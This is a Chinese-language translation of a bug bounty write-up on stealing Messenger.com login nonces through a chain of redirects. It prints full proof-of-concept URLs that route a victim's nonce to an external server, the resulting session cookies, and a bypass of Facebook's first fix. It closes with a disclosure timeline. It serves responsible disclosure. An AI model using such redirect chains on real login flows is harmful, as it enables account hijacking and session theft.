看我如何竊取Messenger.com用戶登錄認證隨機數並獲得15000美元漏洞賞金
www.messenger.com
是Facebook旗下即時通訊軟體Messenger官網,該網站中添加了基於隨機數認證( nonce based login )的Facebook登錄服務,如果用戶當前是Facebook登錄狀態,則可以直接以Facebook身份登錄messenger.com。然而,由於隨機數為用戶生成了訪問messenger.com的會話cookie,這種機制可能會讓當前已登入的Facebook用戶構造惡意隨機數(nonce)和URL,使訪問發生跳轉。另外,在此過程中,由於當前的facebook.com和messenger.com會話cookie會發生交互,這也讓用戶的Facebook賬戶陷入被劫持風險。下面我們就一起來研究研究:
Messenger.com網站中添加的Facebook的登錄機制
當用戶訪問messenger.com時,網站會發起Facebook端的請求https://www.facebook.com/login/messenger_dot_com_iframe/,請求通過以下框架自動載入:
https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Fwww.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY
其中,identifier和initial_request_id是messenger.com分配的兩個參數,並與此過程中產生的datr用戶cookie值相關。
如果用戶當前是Facebook登錄狀態,請求將結合用戶安全隨機數(secret nonce)轉向https://www.messenger.com/login/fb_iframe_target/
,具體請求狀態如下:
https://www.messenger.com/login/fb_iframe_target/?userid=100011424732901&name=Tom+Jones&secret=hFTzdP2Q&persistent=1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY
此時,登錄框架將會顯示以用戶Facebook賬戶為憑據的登錄按鈕:
如果用戶點擊該按鈕確認繼續,則會向https://www.messenger.com/login/nonce/
發起以下包含隨機數的一個POST請求:
POST /login/nonce/ HTTP/1.1
Host: www.messenger.com
Connection: close
Content-Length: 109
Cache-Control: max-age=0
Origin: https://www.messenger.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/1.0 (Macintosh; Intel Mac OS X 1_0_0) AppleWebKit/1.0 (KHTML, like Gecko) Chrome/1.0.0.0 Safari/1.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://www.messenger.com/
Accept-Language: en-US,en;q=0.8
Cookie: datr=3GSyWAIGB6DhdUIQebUwj9Jg
userid=100011424732901&nonce=hFTzdP2Q&persistent=true&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY&lsd=AVr7DyPv
以上請求中同樣包含了參數identifier和initial_request_id,以及cookie值datr。之後,請求服務使用用戶安全隨機數生成了一個session會話值和一組Set-Cookie值:
HTTP/1.1 302 Found
Location: https://www.messenger.com/
...
Set-Cookie: sb=3dpaV2P6giuULzTDhNABjeti; expires=Tue, 26-Feb-2019 06:43:29 GMT; Max-Age=63071999; path=/; domain=.messenger.com; secure; httponly
Set-Cookie: c_user=100011424732901; expires=Sat, 27-May-2017 06:43:29 GMT; Max-Age=7775999; path=/; domain=.messenger.com; secure
Set-Cookie: xs=22%3AeAAc-sXWUZCaFw%3A2%3A1488091409%3A-1; expires=Sat, 27-May-2017 06:43:29 GMT; Max-Age=7775999; path=/; domain=.messenger.com; secure; httponly
Set-Cookie: csm=2; expires=Sat, 27-May-2017 06:43:29 GMT; Max-Age=7775999; path=/; domain=.messenger.com
Set-Cookie: lu=gQQAh17N-bnCQJL3wuArjLLQ; expires=Tue, 26-Feb-2019 06:43:29 GMT; Max-Age=63071999; path=/; domain=.messenger.com; secure; httponly
...
研究如何竊取用戶安全隨機數
初步分析
在此類基於隨機數認證登錄的情況中,一般會存在一個參數使用戶從當前網站重定向到另一個已添加登錄應用的網站,所以,我首先從這裡入手檢查它的安全嚴謹性。在網站Messenger的Facebook登錄鏈接https://www.messenger.com/login/fb_iframe_target/
中,包含了一個控制隨機數並進行URL重定向的參數 redirect_uri (/login/fb_iframe_target/)
https://subdomain.messenger.com/login/fb_iframe_target/#
URL Hash:hash即#號,URL中#之後的內容叫做片段(Fragment),主要可用於鏈接到所載入頁面中的指定錨點位置,片段Fragments不會出現在HTTP請求消息中,因為,Fragment Identifier片段標識符僅被瀏覽器使用。如http://www.example.com/index.html#location
中,瀏覽器只會對/index.html發出請求。
Hash bang(#!):針對http://www.example.com/#sth
類似鏈接,早期來說,搜索引擎的網路爬蟲只會抓取http://www.example.com/
裡面的內容,後期,為了解決這個問題,google提出解決方案:hash bang,即將#改成#!即可讓爬蟲抓取到一些動態AJax內容,http://www.example.com/#sth
的內容。現在,包括Facebook、Twitter在內的很多主流網站都支持hash bang(#!)
通常,當認證隨機數以字元串方式https://example.com/login/?secrect=nonce,而不是#片段方式https://example.com/login/#secrect=nonce,發起重定向URL時,可以在瀏覽器請求中抓取到前述相應的nonce和Set-cookie值。由於Messenger.com網站支持
#!
方式,當在涉及Messenger.com的URL鏈接中加入#!
方式的內容之後,鏈接發生請求時,#!
後的內容亦會被載入。另外,由於請求端https://www.facebook.com/login/messenger_dot_com_iframe/也支持
#
方式訪問,所以,在鏈接https://www.messenger.com/login/fb_iframe_target/中加入
#!
方式內容後,請求發生時,可能會載入相應內容。漏洞構思
為了竊取登錄認證隨機數必須進行異站重定向(redirect offsite)或站外跳轉。由於網站Messenger.com中可以使用類似l.php進行鏈接重定向,如:
https://l.messenger.com/l.php?u=https%3A%2F%2Fl.messenger.com%2Fl.php%3Fu%3Dhttp%253A%252F%252Fwww.freebuf.com
而通常在該動作之前,一般會使用javascript刪除HTTP請求中的referer頭,使跳轉後的目標地址不會收到referer請求。而且,從Messenger跳轉到Facebook的過程中使用了302重定向。
302重定向:(302 redirect)指的是當瀏覽器要求一個網頁的時候,主機所返回的狀態碼。302狀態碼的意義是暫時轉向到另外一個網址,但搜索引擎中保存原來的URL。
另外,我從谷歌搜索到了這個Facebook鏈接:https://www.facebook.com/dialog/share_open_graph
,只要給定一個Facebook ID和重定向URL,該網頁應用服務就能自動發生跳轉,因此,通過該鏈接構造的Facebook應用可以讓請求服務端發生任意URL的重定向跳轉。
綜合以上問題,可以構造出以下包含重定向URL-https://stephensclafani.com/poc.php
的驗證性(PoC)鏈接:
https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Fwww.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY%23!%2Fl.php%3Fu%3Dhttps%253A%252F%252Fwww.facebook.com%252Fdialog%252Fshare_open_graph%253Fapp_id%253D758283087524346%2526redirect_uri%253Dhttps%253A%252F%252Fstephensclafani.com%252Fpoc.php&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY
但是,遺憾的是,以上重定向沒有成功,我收到的referer頭還是https://www.messenger.com/l.php。這是因為每一個www.messenger.com
頁面都包含以下
origin-when-cross-origin策略
:
該策略在發起跨域請求時,為了保證用戶數據(如nonce)不被泄露,referrer只包含域名,不包含具體路徑,因此這種設置方式顯然無效。
剩下的就只能寄希望於messenger.com的子域名了,意外的是,我通過crt.sh
發現其中一個子域名
fb.beta.messenger.com
未使用origin-when-cross-origin策略,最終,通過該子域名成功構造了如下的PoC鏈接,並達到了預期效果:
https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Ffb.beta.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY%23!%2Fl.php%3Fu%3Dhttps%253A%252F%252Fwww.facebook.com%252Fdialog%252Fshare_open_graph%253Fapp_id%253D758283087524346%2526redirect_uri%253Dhttps%253A%252F%252Fstephensclafani.com%252Fpoc.php&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY
漏洞利用分析
如果當前用戶是Facebook登錄狀態:
1 鏈接https://www.facebook.com/login/messenger_dot_com_iframe/
將會跳轉到到https://fb.beta.messenger.com/login/fb_iframe_target/
,並在此過程中為用戶生成一個認證隨機數nonce:
https://fb.beta.messenger.com/login/fb_iframe_target/?userid=100011424732901&name=Tom+Jones&secret=tBTyFt4m&persistent=1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY#!/l.php?u=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Fshare_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2Fstephensclafani.com%2Fpoc.php
由於
fb.beta.messenger.com
未使用origin-when-cross-origin策略,所以此頁面中構造的URL將會發生跳轉。2 由於在其中添加了#!/l.php,最終在用戶端瀏覽器中重定向到了鏈接https://fb.beta.messenger.com/l.php
,
具體請求如下:
https://fb.beta.messenger.com/l.php?u=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Fshare_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2Fstephensclafani.com%2Fpoc.php
由於發生了302跳轉,用戶瀏覽器重定向到https://www.facebook.com/dialog/share_open_graph?app_id=758283087524346&redirect_uri=https://stephensclafani.com/poc.php
,所以瀏覽器仍然保存的是包含了nonce的referer頭。
3 由於在鏈接後https://www.facebook.com/dialog/share_open_graph添加了重定向參數redirect_uri,且給定值為https://stephensclafani.com/poc.php,所以用戶瀏覽器最終發生了向https://stephensclafani.com/poc.php
的跳轉。
4 通過PoC腳本poc.php,可以提取重定向請求過程referrer中的nonce,並能把該nonce值應用於https://www.messenger.com/login/nonce/的POST請求中,由此生成session會話值和以下cookie信息:
Array
(
[sb] => wP-xHWyEaAT1JN33JoTCWmOn
[c_user] => 100011424732901
[xs] => 22:J2NF2Ovl7qzACT:2:1488094195:-1
[csm] => 2
[lu] => gXtqnpAk_31Gy18Nf3BjanRw
)
當然,利用該cookie可以自由地進入用戶的Messenger和Facebook賬戶:
GET / HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/1.0 (Macintosh; Intel Mac OS X 1_0_0) AppleWebKit/1.0 (KHTML, like Gecko) Chrome/1.0.0.0 Safari/1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Cookie: sb=wP-xHWyEaAT1JN33JoTCWmOn; c_user=100011424732901; xs=22:J2NF2Ovl7qzACT:2:1488094195:-1; csm=2; lu=gXtqnpAk_31Gy18Nf3BjanRw
Connection: close
GET / HTTP/1.1
Host: www.messenger.com
User-Agent: Mozilla/1.0 (Macintosh; Intel Mac OS X 1_0_0) AppleWebKit/1.0 (KHTML, like Gecko) Chrome/1.0.0.0 Safari/1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Cookie: sb=wP-xHWyEaAT1JN33JoTCWmOn; c_user=100011424732901; xs=22:J2NF2Ovl7qzACT:2:1488094195:-1; csm=2; lu=gXtqnpAk_31Gy18Nf3BjanRw
Connection: close
說明:由於POST請求https://www.messenger.com/login/nonce/中由cookie datr
修復措施
Facebook首先的修復措施是在重定向URL中阻斷了
#
符號的加入,但是,這種方式可以通過以下鏈接被繞過:
https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Ffb.beta.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY#!/l.php?u=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Fshare_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2Fstephensclafani.com%2Fpoc.php
該鏈接中添加了
#!/l.php
之後,即使是跨站跳轉,瀏覽器也會通過302重定向保留URL中的hash(#)。添加到鏈接https://www.facebook.com/login/messenger_dot_com_iframe/中的#
在發生重定向之後,會被添加到鏈接https://fb.beta.messenger.com/login/fb_iframe_target/中。通常,為了防止這種情況,網站可以設置自己的重定向hash(#),如:
漏洞報送進程
我是2月26號星期天向Facebook安全報送了這個漏洞的,星期一大早,Facebook在確認了這個漏洞之後的兩小時就開始進行修復,之後Facebook向我獎勵了15000美元的漏洞賞金。
2017.2.26 5:12 AM 向Facebook報告漏洞;
2017.2.27 8:01 AM Facebook確認漏洞;
2017.2.27 9:35 AM Facebook開始進行臨時性修復;
2017.2.27 10:09 AM 我告知Facebook當前修復可以被繞過;
2017.2.27 11:56 AM Facebook向我反饋,他們已經在制訂修復方案;
2017.2.27 4:29 PM Facebook修復了漏洞;
2017.2.27 9:39 PM 我對Facebook的修復再次作了驗證;
2017.3.3 4:36 PM Facebook向我獎勵了 $15,000美元漏洞賞金。
*參考來源:
stephensclafani
,FreeBuf小編clouds編譯,轉載請註明來自Freebuf.com
※震驚
※新型智能電視攻擊,90%電視設備受影響!?
※企業安全工作落地的一些經驗 | 我的淚、你不懂
※Vault 7泄露第三彈:CIA在惡意程序源碼中插入外語,嫁禍中國、俄羅斯等國
※《殺手》第二章:黑夜來臨 | 原創連載小說
TAG:FreeBuf |
※Instagram何以左右FB未來:坐擁10億年輕用戶
※Epic Store用戶數超8500萬 其中40%沒有安裝Steam
※Facebook已證實2900萬用戶信息遭黑客竊取
※Windows 10在Steam上用戶比例達到57.28%!
※Facebook 正與 FBI 攜手調查 5000 萬用戶數據泄漏事件
※iPhone用戶稱Google非法採集用戶隱私信息,索賠42.9億美元
※Apple Music用戶數量超過5000萬
※5360萬Steam用戶已擁有VR Ready顯卡
※Instagram坐擁10億用戶,研究稱機器人賬號有9500萬
※Windows 10用戶數突破7億!
※5.4 億 Facebook 用戶信息存於 AWS,可輕易獲取
※Apple Music音樂服務用戶數已經突破5000萬
※5000萬Facebook用戶數據泄露|英國銀行TSB、滙豐疑似被黑客入侵|Google Play再現25款挖礦應用程序
※G+ People API再出Bug,5250萬用戶信息遭泄露
※Apple Music在美用戶突破2100萬,首次超越音樂巨頭Spotify
※勸退Chrome用戶:微軟稱Edge才是Win10 1803的絕配
※Coinbase用戶增至2000萬,其目標是獲得國家級銀行證書
※FB Messenger允許用戶撤回10分鐘內聊天信息
※報告:2020年Apple Pay用戶超2億,Mi Pay+Huawei Pay或不超2千萬
※繼續勸退Chrome用戶:微軟稱Edge才是Win10 1803的絕配